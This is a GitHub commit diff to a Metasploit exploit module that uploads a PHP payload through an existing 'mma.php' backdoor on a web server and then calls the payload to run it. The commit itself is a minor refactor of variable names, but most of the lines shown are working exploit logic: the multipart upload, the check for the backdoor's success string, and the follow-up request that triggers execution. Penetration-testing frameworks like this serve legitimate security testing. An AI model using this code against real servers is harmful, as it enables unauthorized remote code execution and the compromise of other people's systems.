Skip to content

Commit f461c46

Browse files
committed
Update mma_backdoor_upload.rb
1 parent be89cb3 commit f461c46

File tree

1 file changed

+7
-7
lines changed

1 file changed

+7
-7
lines changed

modules/exploits/multi/http/mma_backdoor_upload.rb

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -64,14 +64,14 @@ def check
6464

6565
def exploit
6666
uri = normalize_uri(target_uri.path)
67-
@payload_name = "#{rand_text_alpha(5)}.php"
67+
payload_name = "#{rand_text_alpha(5)}.php"
6868

69-
print_status("#{peer} - Trying to upload #{@payload_name} to mma.php Backdoor")
69+
print_status("#{peer} - Trying to upload #{payload_name} to mma.php Backdoor")
7070

7171
data = Rex::MIME::Message.new
7272

7373
data.add_part('Upload', nil, nil, 'form-data; name="_upl"')
74-
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{@payload_name}\"")
74+
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{payload_name}\"")
7575
post_data = data.to_s
7676

7777
res = send_request_cgi({
@@ -83,17 +83,17 @@ def exploit
8383

8484
if res
8585
if res.body =~ /uplod d0n3 in SAME file/
86-
print_good("#{peer} - Our payload #{@payload_name} has been uploaded. Calling payload...")
87-
register_files_for_cleanup(@payload_name)
86+
print_good("#{peer} - Our payload #{payload_name} has been uploaded. Calling payload...")
87+
register_files_for_cleanup(payload_name)
8888
else
8989
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
9090
end
9191
else
9292
fail_with(Failure::Unknown, 'ERROR')
9393
end
9494

95-
res = send_request_cgi({
96-
'uri' => normalize_uri(@payload_name),
95+
send_request_cgi({
96+
'uri' => normalize_uri(payload_name),
9797
'method' => 'GET'
9898
})
9999
end

0 commit comments

Comments
 (0)